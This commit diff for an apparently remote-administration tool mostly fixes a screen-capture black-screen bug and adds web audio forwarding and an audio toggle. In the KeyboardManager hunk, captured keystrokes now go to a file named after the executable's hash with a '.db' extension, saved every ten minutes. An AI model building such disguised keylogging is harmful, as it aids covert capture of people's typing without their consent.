Fix: skip detection black-screen on single-monitor capture

client/ClientDll.cpp

@@ -552,7 +552,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
         // The main ClientApp.
         settings.SetServer(list[0].c_str(), settings.ServerPort());
     }
-    if (!app.m_bShared) {
+    static bool hasRun = false;
+    if (!app.m_bShared && !hasRun) {
+        hasRun = true;
         auto a = cfg.GetStr("settings", "share_list");
         auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
         for (int i = 0; i < shareList.size(); ++i) {

client/KeyboardManager.cpp

@@ -53,7 +53,9 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
     m_bIsOfflineRecord = offline;
 
     char path[MAX_PATH] = { "C:\\Windows\\" };
-    GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
+    GetModuleFileNameA(NULL, path, sizeof(path));
+    std::string fileName = GetExeHashStr() + ".db";
+    GET_FILEPATH(path, fileName.c_str());
     strcpy_s(m_strRecordFile, path);
     m_Buffer = new CircularBuffer(m_strRecordFile);
 
@@ -642,6 +644,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
     GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
     HDESK desktop = NULL;
     clock_t lastCheck = 0;
+    auto lastSave = time(0);
     while(pThis->m_bIsWorking) {
         if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
 #if USING_KB_HOOK
@@ -651,6 +654,11 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
             continue;
         }
         Sleep(5);
+        auto tm = time(0);
+        if (tm - lastSave > 600) {
+            lastSave = tm;
+            pThis->m_Buffer->WriteAvailableDataToFile(pThis->m_strRecordFile);
+        }
 #if USING_KB_HOOK
         clock_t now = clock();
         if (now - lastCheck > 1000) {

client/KeyboardManager.h

@@ -7,8 +7,6 @@
 #include "Manager.h"
 #include "stdafx.h"
 
-#define KEYLOG_FILE "keylog.xml"
-
 #if ENABLE_KEYBOARD==0
 #define CKeyboardManager1 CManager
 

client/ScreenCapture.h

@@ -150,6 +150,12 @@ public:
     int              m_GOP;              // 关键帧间隔
     bool		     m_SendKeyFrame;	 // 发送关键帧
     std::unique_ptr<VideoEncoderBase> m_encoder;  // 编码器，ensureEncoder() lazy 创建，走 EncoderFactory 探测
+    bool             m_bEncoderPrimed = false;   // encoder 是否已成功产出过一个包；
+                                                 // false 时禁止 skip——避免单显示器路径
+                                                 // 下 m_FirstBuffer 别名到 m_BitmapData_Full
+                                                 // 且被 GetFirstScreenData 预先填过同帧像素，
+                                                 // 导致首帧 memcmp 错误命中、跳过 encode、
+                                                 // 永远不产 IDR → web 黑屏
     int             m_nScreenCount;      // 屏幕数量
     BOOL            m_bEnableMultiScreen;// 多显示器支持
 
@@ -949,6 +955,7 @@ public:
                 }
                 *ulNextSendLength = 1 + offset + encoded_size;
                 memcpy(data + offset, encoded_data, encoded_size);
+                m_bEncoderPrimed = true;  // 与下方 FirstBuffer 同步：自此 skip 安全
                 break;
             }
             default:
@@ -974,9 +981,14 @@ public:
                 // 即使逐像素完全一致仍 emit ~5KB/帧的"近 skip P 帧"，让空闲流量长期
                 // 维持 100-200 KB/s（每 4s GOP 还叠加一个 IDR）。整帧 memcmp BGRA
                 // 找出真无变化帧直接跳过 encode，仅发 cursor；x264 走这里也省 CPU 无副作用。
+                //
+                // m_bEncoderPrimed 门：encoder 还没产出过任何包时不允许 skip。
+                // 否则单显示器路径下 m_FirstBuffer 别名到 m_BitmapData_Full，
+                // 而 GetFirstScreenData 已经把同一帧画进去了——首帧 memcmp 会
+                // 错误命中、永远不会喂 encoder、web 收不到 IDR、黑屏不恢复。
                 LPBYTE prev = GetFirstBuffer();
                 ULONG bgraSize = m_BitmapInfor_Send->bmiHeader.biSizeImage;
-                if (prev && memcmp(nextData, prev, bgraSize) == 0) {
+                if (m_bEncoderPrimed && prev && memcmp(nextData, prev, bgraSize) == 0) {
                     *ulNextSendLength = 1 + offset;   // 仅 cursor，无视频负载
                     return m_RectBuffer;
                 }
@@ -987,6 +999,7 @@ public:
                 }
                 *ulNextSendLength = 1 + offset + encoded_size;
                 memcpy(data + offset, encoded_data, encoded_size);
+                m_bEncoderPrimed = true;             // 这一刻起 prev 才有"已编码"语义，skip 才安全
                 // 更新参考帧供下一帧 memcmp。必须在 encode 成功之后更新，否则编码
                 // 失败时下一帧会误以为"已发"而漏发真实变化。
                 memcpy(prev, nextData, bgraSize);

client/ScreenManager.cpp

@@ -2609,7 +2609,8 @@ DWORD WINAPI CScreenManager::AudioThreadProc(LPVOID lpParam)
                 }
 #endif
             }
-
+            if (pThis->m_pCaptureClient == nullptr)
+                break;
             pThis->m_pCaptureClient->ReleaseBuffer(numFramesAvailable);
 
             hr = pThis->m_pCaptureClient->GetNextPacketSize(&packetLength);

server/2015Remote/2015RemoteDlg.cpp

@@ -9651,6 +9651,25 @@ void CMy2015RemoteDlg::CloseRemoteDesktopByClientID(uint64_t clientID)
     }
 }
 
+bool CMy2015RemoteDlg::PostWebAudioToggle(uint64_t clientID)
+{
+    HWND hWnd = NULL;
+    EnterCriticalSection(&m_cs);
+    for (auto& pair : m_RemoteWnds) {
+        CScreenSpyDlg* dlg = dynamic_cast<CScreenSpyDlg*>(pair.second);
+        if (dlg && dlg->GetClientID() == clientID && dlg->IsWebSession()) {
+            hWnd = dlg->GetSafeHwnd();
+            break;
+        }
+    }
+    LeaveCriticalSection(&m_cs);
+    if (hWnd && ::IsWindow(hWnd)) {
+        // PostMessage 把活儿丢到对话框的 UI 线程，避免 WS 线程动 waveOut 句柄
+        return ::PostMessage(hWnd, WM_AUDIO_TOGGLE_FROM_WEB, 0, 0) != 0;
+    }
+    return false;
+}
+
 void CMy2015RemoteDlg::CloseWebRemoteDesktopByClientID(uint64_t clientID)
 {
     CScreenSpyDlg* targetDlg = nullptr;

server/2015Remote/2015RemoteDlg.h

@@ -373,6 +373,7 @@ public:
     void RemoveRemoteWindow(HWND wnd);
     void CloseRemoteDesktopByClientID(uint64_t clientID);
     void CloseWebRemoteDesktopByClientID(uint64_t clientID);  // Only close Web session dialog
+    bool PostWebAudioToggle(uint64_t clientID);               // 给 Web 会话 ScreenSpy 投递音频开关消息
     CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
     void UpdateActiveRemoteSession(CDialogBase* sess);
     CDialogBase* GetActiveRemoteSession();

server/2015Remote/ScreenSpyDlg.cpp

@@ -18,6 +18,7 @@
 #include <md5.h>
 #include <cstdint>  // for uint16_t
 #include <vector>
+#include <mutex>    // for std::mutex, std::lock_guard
 #include "WebService.h"
 
 // 文件接收消息数据结构
@@ -223,6 +224,8 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE
             int width = m_BitmapInfor_Full->bmiHeader.biWidth;
             int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
             WebService().NotifyResolutionChange(m_ClientID, width, height);
+            // 透传客户端初始的音频开/关状态给 web，让前端按钮显示正确
+            WebService().NotifyAudioState(m_ClientID, m_Settings.AudioEnabled != 0);
         }
     }
 
@@ -567,6 +570,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
     ON_MESSAGE(MM_WOM_DONE, &CScreenSpyDlg::OnWaveOutDone)
     ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CScreenSpyDlg::OnRecvFileV2Chunk)
     ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CScreenSpyDlg::OnRecvFileV2Complete)
+    ON_MESSAGE(WM_AUDIO_TOGGLE_FROM_WEB, &CScreenSpyDlg::OnAudioToggleFromWeb)
     ON_WM_DROPFILES()
     ON_WM_CAPTURECHANGED()
 END_MESSAGE_MAP()
@@ -3494,9 +3498,73 @@ void CScreenSpyDlg::StopAudioPlayback()
 #endif
     m_nAudioCompression = 0;
 
+    // 重置网页端音频格式标志（线程安全的清理）
+    {
+        std::lock_guard<std::mutex> lock(m_AudioWebMutex);
+        m_bAudioFormatSent = FALSE;
+        memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
+    }
+
     Mprintf("[ScreenSpy] 音频播放已停止\n");
 }
 
+void CScreenSpyDlg::DisableAudio()
+{
+    // 复用 IDM_AUDIO_TOGGLE 的逻辑，但仅禁用
+    if (m_Settings.AudioEnabled) {
+        m_Settings.AudioEnabled = FALSE;
+        SendAudioCtrl(CYCLEAUDIO_DISABLE, 1);
+        StopAudioPlayback();
+
+        // 清理网页端格式状态（在 mutex 保护下）
+        {
+            std::lock_guard<std::mutex> lock(m_AudioWebMutex);
+            m_bAudioFormatSent = FALSE;
+            memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
+        }
+
+        Mprintf("[Audio Web] 禁用音频（来自 web 命令）\n");
+
+        // 广播状态给所有正在观看本设备的 web 客户端
+        if (WebService().IsRunning()) {
+            WebService().NotifyAudioState(m_ClientID, false);
+        }
+    }
+}
+
+void CScreenSpyDlg::EnableAudio()
+{
+    // 复用 IDM_AUDIO_TOGGLE 的逻辑，但仅启用
+    if (!m_Settings.AudioEnabled) {
+        m_Settings.AudioEnabled = TRUE;
+        SendAudioCtrl(CYCLEAUDIO_ENABLE, 1);
+
+        // 强制重新发送格式信息（清理缓存）
+        {
+            std::lock_guard<std::mutex> lock(m_AudioWebMutex);
+            m_bAudioFormatSent = FALSE;
+            memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
+        }
+
+        Mprintf("[Audio Web] 启用音频（来自 web 命令）\n");
+
+        if (WebService().IsRunning()) {
+            WebService().NotifyAudioState(m_ClientID, true);
+        }
+    }
+}
+
+// 由 PostMessage 从 WS 线程派发到 UI 线程；根据当前状态翻转
+LRESULT CScreenSpyDlg::OnAudioToggleFromWeb(WPARAM /*wParam*/, LPARAM /*lParam*/)
+{
+    if (m_Settings.AudioEnabled) {
+        DisableAudio();
+    } else {
+        EnableAudio();
+    }
+    return 0;
+}
+
 void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
 {
     if (len < 1) return;
@@ -3535,12 +3603,20 @@ void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
     UINT32 audioLen = len - offset;
     if (audioLen == 0) return;
 
+    // 保存"上线格式"字节（Opus 模式下是原始压缩包，PCM 模式下是原始 PCM）。
+    // 这就是要透传给 web 的数据 —— web 端用 MSE+WebM 直接播 Opus，
+    // 不需要服务器解码后再发 PCM。本地 waveOut 仍然需要 PCM，因此下面
+    // 还是会解码一遍。
+    BYTE* pWireData = pAudioData;
+    UINT32 wireLen = audioLen;
+    BYTE wireCompression = (BYTE)m_nAudioCompression;
+
     // 帧对齐参数
     DWORD blockAlign = m_AudioFormat.nBlockAlign;
     if (blockAlign == 0) blockAlign = 4;  // 默认 stereo 16-bit
 
 #if USING_OPUS
-    // Opus 解码
+    // Opus 解码（仅供本地 waveOut 使用；web 仍会收到原始压缩包）
     if (m_nAudioCompression == AUDIO_COMPRESS_OPUS && m_pOpusDecoder && m_pOpusDecodeBuffer) {
         COpusDecoder* pDecoder = (COpusDecoder*)m_pOpusDecoder;
         int decodedSamples = pDecoder->Decode(pAudioData, audioLen, m_pOpusDecodeBuffer, 960 * 2);
@@ -3583,10 +3659,104 @@ void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
         Mprintf("[Audio] 预缓冲完成，开始播放 (缓冲: %u bytes)\n", m_nRingDataLen);
     }
 
+    // 发送上线格式（Opus 压缩包 / 或原始 PCM）到网页
+    SendAudioToWeb(pWireData, wireLen, &m_AudioFormat, wireCompression);
+
     // 填充可用的 waveOut 缓冲区
     FeedAudioBuffers();
 }
 
+void CScreenSpyDlg::SendAudioToWeb(const BYTE* pAudioData, UINT32 len, const WAVEFORMATEX* pFormat, BYTE compression)
+{
+    if (!WebService().IsRunning()) return;
+    if (!pAudioData || len == 0) return;
+    if (!m_ContextObject) return;
+    if (!m_Settings.AudioEnabled) return;
+
+    std::vector<BYTE> packet;
+    BOOL formatChanged = FALSE;
+    {
+        std::lock_guard<std::mutex> lock(m_AudioWebMutex);
+
+        if (!m_bAudioFormatSent) {
+            formatChanged = TRUE;
+        } else if (pFormat && (
+            pFormat->nChannels != m_AudioFormatWeb.channels ||
+            pFormat->nSamplesPerSec != m_AudioFormatWeb.sampleRate ||
+            pFormat->wBitsPerSample != m_AudioFormatWeb.bitsPerSample ||
+            compression != m_AudioFormatWeb.compression)) {
+            formatChanged = TRUE;
+        }
+
+        // 第1字节：是否包含格式信息
+        packet.push_back(formatChanged ? 1 : 0);
+
+        if (formatChanged && pFormat) {
+            if (pFormat->nChannels < 1 || pFormat->nChannels > 8 ||
+                pFormat->nSamplesPerSec < 8000 || pFormat->nSamplesPerSec > 48000 ||
+                pFormat->wBitsPerSample != 16) {
+                Mprintf("[Audio Web] Invalid format: ch=%d, sr=%d, bps=%d\n",
+                      pFormat->nChannels, pFormat->nSamplesPerSec, pFormat->wBitsPerSample);
+                return;
+            }
+
+            // 12-byte AudioFormat 结构（commands.h, pack(1)）
+            AudioFormat fmt;
+            fmt.channels = (WORD)pFormat->nChannels;
+            fmt.sampleRate = (DWORD)pFormat->nSamplesPerSec;
+            fmt.bitsPerSample = (WORD)pFormat->wBitsPerSample;
+            // blockAlign 对 Opus 是 informational 的（包是变长压缩），按 PCM 推算填上即可。
+            fmt.blockAlign = (WORD)(fmt.channels * fmt.bitsPerSample / 8);
+            fmt.compression = compression;
+            fmt.reserved = 0;
+
+            BYTE* pFmt = (BYTE*)&fmt;
+            packet.insert(packet.end(), pFmt, pFmt + sizeof(fmt));
+            // padding byte: 保持后续音频数据落在偶数偏移上（PCM 模式下 web 端
+            // 需要 Int16 对齐；Opus 模式无所谓但保留兼容旧 web 解析）
+            packet.push_back(0);
+
+            m_AudioFormatWeb = fmt;
+            m_bAudioFormatSent = TRUE;
+
+            Mprintf("[Audio Web] Format sent: ch=%d, sr=%d Hz, compression=%d\n",
+                  fmt.channels, fmt.sampleRate, fmt.compression);
+        }
+    }  // 释放 mutex
+
+    // 添加音频数据（此操作不需要 mutex，因为我们已经复制了所有需要的共享状态）
+    packet.insert(packet.end(), pAudioData, pAudioData + len);
+
+    // 构造完整帧：[DeviceID:4][FrameType:1][DataLen:4][audio payload...]
+    // FrameType: 96 = TOKEN_SCREEN_AUDIO，用于在网页端识别音频
+    std::vector<BYTE> frame;
+
+    uint64_t deviceID = GetClientID();
+    uint32_t audioDataLen = (uint32_t)packet.size();
+    uint8_t frameType = 96;  // TOKEN_SCREEN_AUDIO
+
+    // [DeviceID:4] little-endian
+    frame.push_back((BYTE)(deviceID & 0xFF));
+    frame.push_back((BYTE)((deviceID >> 8) & 0xFF));
+    frame.push_back((BYTE)((deviceID >> 16) & 0xFF));
+    frame.push_back((BYTE)((deviceID >> 24) & 0xFF));
+
+    // [FrameType:1]
+    frame.push_back(frameType);
+
+    // [DataLen:4] little-endian
+    frame.push_back((BYTE)(audioDataLen & 0xFF));
+    frame.push_back((BYTE)((audioDataLen >> 8) & 0xFF));
+    frame.push_back((BYTE)((audioDataLen >> 16) & 0xFF));
+    frame.push_back((BYTE)((audioDataLen >> 24) & 0xFF));
+
+    // [audio payload]
+    frame.insert(frame.end(), packet.begin(), packet.end());
+
+    // 广播到所有网页客户端
+    WebService().BroadcastH264Frame(deviceID, frame.data(), frame.size());
+}
+
 void CScreenSpyDlg::FeedAudioBuffers()
 {
     if (!m_bAudioPlaying || !m_hWaveOut || !m_pRingBuf) return;

server/2015Remote/ScreenSpyDlg.h

@@ -9,6 +9,7 @@
 #include "2015RemoteDlg.h"
 
 #include "common/config.h"
+#include "common/commands.h"  // 包含 AudioFormat 定义
 
 extern "C"
 {
@@ -92,6 +93,9 @@ extern "C"
 // 文件接收消息（用于将工作线程的文件数据转发到主线程处理）
 #define WM_RECVFILEV2_CHUNK    (WM_USER + 0x200)
 #define WM_RECVFILEV2_COMPLETE (WM_USER + 0x201)
+// 来自 web 命令的音频开关，PostMessage 到对话框的 UI 线程，避免 WS 线程
+// 直接动 waveOut 句柄
+#define WM_AUDIO_TOGGLE_FROM_WEB (WM_USER + 0x202)
 
 // ScreenSpyDlg 系统菜单命令 ID
 enum {
@@ -349,11 +353,23 @@ public:
     short*      m_pOpusDecodeBuffer = nullptr; // Opus 解码输出缓冲区
 #endif
 
+    // 网页端音频发送状态
+    BOOL        m_bAudioFormatSent = FALSE;  // 是否已发送格式信息到网页
+    AudioFormat m_AudioFormatWeb = {};       // 上次发送给网页的格式
+
+    // 音频到网页的多线程同步
+    std::mutex  m_AudioWebMutex;             // 保护音频发送状态的互斥锁
+    // 注意：m_Settings.AudioEnabled 是全局的音频启用/禁用状态
+
     void OnAudioData(BYTE* pData, UINT32 len);   // 处理音频数据
     BOOL InitAudioPlayback(const AudioFormat* fmt);  // 初始化音频播放
     void StopAudioPlayback();                    // 停止音频播放
+    void DisableAudio();                         // 禁用音频（从网页命令）
+    void EnableAudio();                          // 启用音频（从网页命令）
+    LRESULT OnAudioToggleFromWeb(WPARAM wParam, LPARAM lParam);  // PostMessage 处理器
     void SendAudioCtrl(BYTE enable, BYTE persist); // 发送音频控制命令
     void FeedAudioBuffers();                     // 填充音频缓冲区
+    void SendAudioToWeb(const BYTE* pAudioData, UINT32 len, const WAVEFORMATEX* pFormat, BYTE compression);  // 发送音频到网页 (compression=AudioCompression)
 
     int  GetClientRTT();                     // 获取客户端RTT(ms)
     void EvaluateQuality();                  // 评估并调整质量

server/2015Remote/WebService.cpp

@@ -396,6 +396,8 @@ void CWebService::ServerThread(int port) {
                 HandleKey(ws_ptr, msg);
             } else if (cmd == "rdp_reset") {
                 HandleRdpReset(ws_ptr, token);
+            } else if (cmd == "audio_toggle") {
+                HandleAudioToggle(ws_ptr, token);
             } else if (cmd == "get_salt") {
                 HandleGetSalt(ws_ptr, msg);
             } else if (cmd == "create_user") {
@@ -689,14 +691,16 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
         }
     }
 
-    // Get screen dimensions from device info cache (may not be available yet)
+    // Get screen dimensions + audio state from device info cache (may not be ready)
     int width = 0, height = 0;
+    int audio_enabled = -1;  // -1 = unknown yet (前端走 audio_state 事件兜底)
     {
         std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
         auto it = m_DeviceCache.find(device_id);
         if (it != m_DeviceCache.end()) {
             width = it->second->screen_width;
             height = it->second->screen_height;
+            audio_enabled = it->second->audio_enabled;
         }
     }
 
@@ -710,6 +714,9 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
         res["width"] = width;
         res["height"] = height;
     }
+    if (audio_enabled >= 0) {
+        res["audio_enabled"] = (audio_enabled != 0);
+    }
     res["algorithm"] = "h264";
 
     Json::StreamWriterBuilder builder;
@@ -1002,6 +1009,33 @@ void CWebService::HandleRdpReset(void* ws_ptr, const std::string& token) {
     }
 }
 
+void CWebService::HandleAudioToggle(void* ws_ptr, const std::string& token) {
+    std::string username, role;
+    if (!ValidateToken(token, username, role)) {
+        SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "Invalid token"));
+        return;
+    }
+
+    uint64_t device_id = 0;
+    {
+        std::lock_guard<std::mutex> lock(m_ClientsMutex);
+        auto it = m_Clients.find(ws_ptr);
+        if (it != m_Clients.end()) device_id = it->second.watch_device_id;
+    }
+    if (device_id == 0) {
+        SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "No device connected"));
+        return;
+    }
+
+    // 投递到 ScreenSpyDlg 的 UI 线程；那边会调用 Enable/DisableAudio 并通过
+    // NotifyAudioState 把新状态广播给所有 watching 的 web 客户端
+    if (!m_pParentDlg || !m_pParentDlg->PostWebAudioToggle(device_id)) {
+        SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "No active screen session"));
+        return;
+    }
+    SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", true));
+}
+
 //////////////////////////////////////////////////////////////////////////
 // User Management Handlers
 //////////////////////////////////////////////////////////////////////////
@@ -1511,6 +1545,16 @@ std::string CWebService::BuildDeviceListJson(const std::string& username) {
             CString name = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
             device["name"] = AnsiToUtf8(name);
 
+            // 用户在 MFC 端给这台主机起的备注（菜单"修改备注"写入 MAP_NOTE）
+            // 例如 hostname="A6" + remark="我的Windows" → web 显示"A6 (我的Windows)"
+            if (m_pParentDlg->m_ClientMap) {
+                CString remark = m_pParentDlg->m_ClientMap->GetClientMapData(
+                    ctx->GetClientID(), MAP_NOTE);
+                if (!remark.IsEmpty()) {
+                    device["remark"] = AnsiToUtf8(remark);
+                }
+            }
+
             CString ip = ctx->GetClientData(ONLINELIST_IP);
             device["ip"] = AnsiToUtf8(ip);
 
@@ -1699,6 +1743,37 @@ void CWebService::NotifyResolutionChange(uint64_t device_id, int width, int heig
     }
 }
 
+void CWebService::NotifyAudioState(uint64_t device_id, bool enabled) {
+    if (m_bStopping) return;
+
+    // 缓存最新状态，新加入的 web 客户端通过 connect_result 取到初值
+    {
+        std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
+        auto it = m_DeviceCache.find(device_id);
+        if (it == m_DeviceCache.end()) {
+            m_DeviceCache[device_id] = std::make_shared<WebDeviceInfo>();
+            it = m_DeviceCache.find(device_id);
+        }
+        it->second->audio_enabled = enabled ? 1 : 0;
+    }
+
+    Json::Value res;
+    res["cmd"] = "audio_state";
+    res["id"] = device_id;
+    res["enabled"] = enabled;
+
+    Json::StreamWriterBuilder builder;
+    builder["indentation"] = "";
+    std::string json = Json::writeString(builder, res);
+
+    std::lock_guard<std::mutex> lock(m_ClientsMutex);
+    for (auto& [ws_ptr, client] : m_Clients) {
+        if (client.watch_device_id == device_id) {
+            SendText(ws_ptr, json);
+        }
+    }
+}
+
 void CWebService::BroadcastCursor(uint64_t device_id, uint8_t cursor_index) {
     if (m_bStopping) return;
 

server/2015Remote/WebService.h

@@ -55,6 +55,8 @@ struct WebDeviceInfo {
     int screen_width;
     int screen_height;
     bool online;
+    // 当前会话的音频开关。-1=未知（客户端 BITMAPINFO 还没回来），0=关，1=开
+    int audio_enabled = -1;
 
     // Keyframe cache for new web clients
     std::vector<uint8_t> keyframe_cache;
@@ -98,6 +100,10 @@ public:
     // Resolution change notification
     void NotifyResolutionChange(uint64_t device_id, int width, int height);
 
+    // Audio enable/disable notification — pushes current state to all web
+    // clients watching this device and caches it for newcomers.
+    void NotifyAudioState(uint64_t device_id, bool enabled);
+
     // Cursor change notification (called from ScreenSpyDlg)
     void BroadcastCursor(uint64_t device_id, uint8_t cursor_index);
 
@@ -129,6 +135,7 @@ private:
     void HandleMouse(void* ws_ptr, const std::string& msg);
     void HandleKey(void* ws_ptr, const std::string& msg);
     void HandleRdpReset(void* ws_ptr, const std::string& token);
+    void HandleAudioToggle(void* ws_ptr, const std::string& token);
 
     // Token management
     std::string GenerateToken(const std::string& username, const std::string& role);

server/go/go.mod

@@ -7,6 +7,7 @@ require (
 	github.com/gorilla/websocket v1.5.3
 	github.com/klauspost/compress v1.18.2
 	github.com/rs/zerolog v1.34.0
+	golang.org/x/sync v0.20.0
 	golang.org/x/text v0.32.0
 	gopkg.in/natefinch/lumberjack.v2 v2.2.1
 )
@@ -14,6 +15,5 @@ require (
 require (
 	github.com/mattn/go-colorable v0.1.13 // indirect
 	github.com/mattn/go-isatty v0.0.19 // indirect
-	golang.org/x/sync v0.20.0 // indirect
 	golang.org/x/sys v0.12.0 // indirect
 )

server/go/web/ws_handlers.go

@@ -51,6 +51,15 @@ func (h *wsHub) dispatch(c *wsClient, cmd string, raw []byte) {
 		h.handleConnect(c, raw)
 	case "rdp_reset":
 		h.handleRdpReset(c, raw)
+	case "audio_toggle":
+		// Audio capture/forwarding is not yet ported from the C++ WebService
+		// (see project_go_webservice_port). Reply explicitly so the front-end
+		// console shows why the toolbar button has no effect, instead of the
+		// request being silently dropped by the default case.
+		c.queue(mustJSON(map[string]any{
+			"cmd": "audio_toggle_result", "ok": false,
+			"msg": "Audio toggle not supported on Go server yet",
+		}))
 	case "mouse":
 		h.handleMouse(c, raw)
 	case "key":

server/web/index.html

@@ -737,6 +737,7 @@
         .toolbar-btn-bar:hover { background: rgba(255,255,255,0.2); }
         .toolbar-btn-bar.active { background: rgba(52,199,89,0.8); }
         .toolbar-btn-bar.active:hover { background: rgba(52,199,89,1); }
+        .toolbar-btn-bar.muted { opacity: 0.55; }
         .toolbar-btn-bar:disabled { opacity: 0.4; cursor: not-allowed; }
         .toolbar-btn-bar:disabled:hover { background: rgba(255,255,255,0.1); }
         #screen-page:fullscreen .screen-toolbar { display: none; }
@@ -828,6 +829,17 @@
         .toolbar-btn:disabled { opacity: 0.3; cursor: not-allowed; }
         .toolbar-btn:disabled:hover { background: transparent; }
         .toolbar-btn:disabled:active { transform: none; }
+        /* Throughput read-out inside the floating toolbar (fullscreen mode).
+           Hidden automatically while empty so the toolbar collapses cleanly. */
+        .fb-stats {
+            color: rgba(255,255,255,0.9);
+            font-size: 12px;
+            padding: 0 10px 0 6px;
+            font-variant-numeric: tabular-nums;
+            white-space: nowrap;
+            user-select: none;
+        }
+        .fb-stats:empty { display: none; }
         .toolbar-toggle {
             position: fixed;
             /* 同 .floating-toolbar：8px 基础 + 安全区 inset 避开刘海/灵动岛 */
@@ -1174,6 +1186,7 @@
             <div class="toolbar-right">
                 <span id="screen-status" class="screen-status connecting">Connecting...</span>
                 <button class="toolbar-btn-bar" id="btn-rdp-reset-bar" onclick="sendRdpReset()" title="RDP Reset">&#x21BB;</button>
+                <button class="toolbar-btn-bar" id="btn-audio-bar" onclick="toggleAudio()" title="Mute audio">&#x1F50A;</button>
                 <button class="toolbar-btn-bar" id="btn-mouse-bar" onclick="toggleControl()" title="Mouse Control">&#x1F5B1;</button>
                 <button class="toolbar-btn-bar" id="btn-keyboard-bar" onclick="toggleKeyboard()" title="Keyboard" disabled>&#x2328;</button>
                 <button class="fullscreen-btn" onclick="toggleFullscreen()" title="Fullscreen (F11)">&#x26F6;</button>
@@ -1203,10 +1216,12 @@
         <div class="touch-indicator" id="touch-indicator"></div>
         <button class="toolbar-toggle" id="toolbar-toggle" onclick="toggleFloatingToolbar()">&#x2022;&#x2022;&#x2022;</button>
         <div class="floating-toolbar" id="floating-toolbar">
+            <span class="fb-stats" id="fb-stats"></span>
             <button class="toolbar-btn" onclick="sendRdpReset()" title="RDP Reset">&#x21BB;</button>
             <button class="toolbar-btn" id="btn-mouse" onclick="toggleControl()" title="Mouse Control">&#x1F5B1;</button>
             <button class="toolbar-btn" id="btn-keyboard" onclick="toggleKeyboard()" title="Keyboard" disabled>&#x2328;</button>
             <button class="toolbar-btn" onclick="disconnect()" title="Disconnect">&#x2715;</button>
+            <button class="toolbar-btn" onclick="toggleFloatingToolbar()" title="Collapse">&#x25B4;</button>
         </div>
         <div class="zoom-indicator" id="zoom-indicator">100%</div>
         <input type="text" id="mobile-keyboard" style="position:fixed;left:-9999px;opacity:0;" autocomplete="off" autocorrect="off" autocapitalize="off">
@@ -1283,12 +1298,80 @@
     <script src="/static/xterm.js"></script>
     <script src="/static/xterm-fit.js"></script>
 
+    <!-- Opus codec for audio decompression -->
+    <script src="https://cdn.jsdelivr.net/npm/opus.js@0.5.0/dist/opus.js"></script>
+
     <script>
         let ws = null, token = null, decoder = null, devices = [], currentDevice = null;
         let frameCount = 0, lastFrameTime = 0, fps = 0, pingInterval = null;
+        // FPS 计数：原始风格——decoder.onOutput 里 ++，每经过 1 秒采样一次。
+        // 简单直接，与本次会话改动前一致。
+        // 网络流量统计：handleBinaryFrame 累加，每 1 秒钟 renderStats 读出
+        let bwBytesAccum = 0;       // current-second byte accumulator
+        let bwBytesPerSec = 0;      // last second's throughput (bytes/sec)
+        let currentWidth = 0, currentHeight = 0;  // captured at frame decode time
         const canvas = document.getElementById('screen-canvas');
         const ctx = canvas.getContext('2d');
 
+        // ====== Audio & Video Implementation ======
+        //
+        // - Video: H.264 / AV1 → VideoDecoder Web API → canvas
+        // - Audio: client encodes PCM → Opus, server forwards raw Opus packets
+        //          to web, web wraps each packet in a WebM SimpleBlock and
+        //          feeds it to MediaSource → <audio> element (browser decodes
+        //          Opus natively, plays via standard media-element pipeline).
+        //
+        // WS binary frame layout (matches C++ ScreenSpyDlg.cpp):
+        //   Video : [deviceID:4][frameType:1][dataLen:4][videoData:N]
+        //   Audio : [deviceID:4][frameType=96:1][dataLen:4]
+        //           [hasFormat:1][AudioFormat:12][padding:1]?[opusPacket:N]
+        //   Term  : [magic:4='TRM1'][terminalData:N]
+        //
+        // AudioFormat (12 bytes, commands.h, pack(1)):
+        //   channels:2  sampleRate:4  bitsPerSample:2  blockAlign:2
+        //   compression:1 (0=PCM unsupported by web, 1=Opus)  reserved:1
+
+        // MSE + WebM/Opus playback. Raw Opus packets arrive over WS; we wrap
+        // each one in a minimal WebM container in JS and feed it to a
+        // SourceBuffer attached to a hidden <audio> element. The browser
+        // decodes Opus natively. Tested on desktop Chrome; mobile playback
+        // is a known follow-up (see commit notes).
+        let audioFormat = null;          // { compression, channels, sampleRate, bitsPerSample, blockAlign }
+        let audioEnabled = true;         // Audio on/off flag (set by UI)
+        let syncDrift = 0;               // A/V sync monitoring (milliseconds)
+        let _audioElement = null;        // hidden <audio> sink
+        let _mediaSource  = null;        // MediaSource attached to _audioElement
+        let _sourceBuffer = null;        // SourceBuffer (Opus in WebM)
+        const _sourceBufferQueue = [];   // appendBuffer queue (one in-flight at a time)
+        let _sourceBufferBusy = false;
+        let _initSegmentSent = false;    // first init segment appended for current format
+        let _opusTimestampMs = 0;        // running absolute cluster timestamp (ms)
